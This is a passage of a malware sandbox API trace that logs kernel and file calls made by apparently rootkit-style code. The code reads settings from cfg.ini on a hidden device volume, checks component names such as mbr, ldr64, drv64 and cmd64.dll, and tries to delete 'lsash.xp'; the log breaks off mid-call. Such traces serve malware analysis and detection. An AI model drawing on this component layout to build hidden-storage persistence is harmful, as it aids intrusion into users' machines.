[0124.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.619] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.620] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.620] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.620] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.620] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.620] KeLeaveCriticalRegion () [0124.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.620] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.620] KeEnterCriticalRegion () [0124.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.620] KeLeaveCriticalRegion () [0124.620] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.620] KeEnterCriticalRegion () [0124.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.620] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.620] IdePortDispatch () returned 0x103 [0124.620] KeWaitForMutexObject () returned 0x0 [0124.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.620] KeLeaveCriticalRegion () [0124.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.620] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.620] KeEnterCriticalRegion () [0124.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.621] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800358d000 [0124.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.621] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.621] IdePortDispatch () returned 0x103 [0124.621] KeWaitForMutexObject () returned 0x0 [0124.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.621] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.621] IdePortDispatch () returned 0x103 [0124.621] KeWaitForMutexObject () returned 0x0 [0124.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.621] KeLeaveCriticalRegion () [0124.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.622] KeEnterCriticalRegion () [0124.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] KeLeaveCriticalRegion () [0124.622] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.622] KeEnterCriticalRegion () [0124.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.622] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] KeLeaveCriticalRegion () [0124.622] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.622] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.622] KeEnterCriticalRegion () [0124.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] KeLeaveCriticalRegion () [0124.622] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.622] ReleaseMutex (hMutex=0xf0) returned 1 [0124.622] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.622] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.622] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.622] KeEnterCriticalRegion () [0124.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.622] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.622] IdePortDispatch () returned 0x103 [0124.622] KeWaitForMutexObject () returned 0x0 [0124.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.623] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.623] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.623] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.623] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.623] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6fb0 [0124.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.623] KeLeaveCriticalRegion () [0124.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.623] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.623] KeEnterCriticalRegion () [0124.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.623] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.623] KeLeaveCriticalRegion () [0124.623] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.623] KeEnterCriticalRegion () [0124.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.623] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.623] IdePortDispatch () returned 0x103 [0124.623] KeWaitForMutexObject () returned 0x0 [0124.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.623] KeLeaveCriticalRegion () [0124.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.623] KeEnterCriticalRegion () [0124.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800358e000 [0124.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.623] IdePortDispatch () returned 0x103 [0124.624] KeWaitForMutexObject () returned 0x0 [0124.624] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.624] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.624] IdePortDispatch () returned 0x103 [0124.624] KeWaitForMutexObject () returned 0x0 [0124.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.624] KeLeaveCriticalRegion () [0124.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.624] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.624] KeEnterCriticalRegion () [0124.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] KeLeaveCriticalRegion () [0124.625] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.625] KeEnterCriticalRegion () [0124.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.625] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] KeLeaveCriticalRegion () [0124.625] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.625] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.625] KeEnterCriticalRegion () [0124.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] ExFreePoolWithTag (P=0xfffffa8003be6fb0, Tag=0x0) [0124.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] KeLeaveCriticalRegion () [0124.625] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.625] ReleaseMutex (hMutex=0xf0) returned 1 [0124.625] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.625] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.625] KeEnterCriticalRegion () [0124.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.625] IdePortDispatch () returned 0x103 [0124.626] KeWaitForMutexObject () returned 0x0 [0124.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.626] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.626] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.626] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.626] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.626] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf22e0 [0124.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.626] KeLeaveCriticalRegion () [0124.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.626] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.626] KeEnterCriticalRegion () [0124.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.626] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.626] KeLeaveCriticalRegion () [0124.626] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.626] KeEnterCriticalRegion () [0124.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.626] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.627] IdePortDispatch () returned 0x103 [0124.627] KeWaitForMutexObject () returned 0x0 [0124.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.627] KeLeaveCriticalRegion () [0124.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.627] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.627] KeEnterCriticalRegion () [0124.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800358f000 [0124.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.627] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.627] IdePortDispatch () returned 0x103 [0124.627] KeWaitForMutexObject () returned 0x0 [0124.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.627] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.627] IdePortDispatch () returned 0x103 [0124.627] KeWaitForMutexObject () returned 0x0 [0124.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] KeLeaveCriticalRegion () [0124.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.628] KeEnterCriticalRegion () [0124.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] KeLeaveCriticalRegion () [0124.628] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.628] KeEnterCriticalRegion () [0124.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf26f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] KeLeaveCriticalRegion () [0124.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.628] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.628] KeEnterCriticalRegion () [0124.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] ExFreePoolWithTag (P=0xfffffa8003bf22e0, Tag=0x0) [0124.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.628] KeLeaveCriticalRegion () [0124.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.628] ReleaseMutex (hMutex=0xf0) returned 1 [0124.628] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.629] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.629] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.629] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.629] KeEnterCriticalRegion () [0124.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.629] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.629] IdePortDispatch () returned 0x103 [0124.629] KeWaitForMutexObject () returned 0x0 [0124.629] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.629] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.629] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.629] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.629] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.629] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.629] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.629] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.629] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.629] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.629] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.629] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.629] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.629] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.629] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.629] KeLeaveCriticalRegion () [0124.629] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.629] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.629] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.629] KeEnterCriticalRegion () [0124.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.629] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.629] IdePortDispatch () returned 0x103 [0124.630] KeWaitForMutexObject () returned 0x0 [0124.630] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", 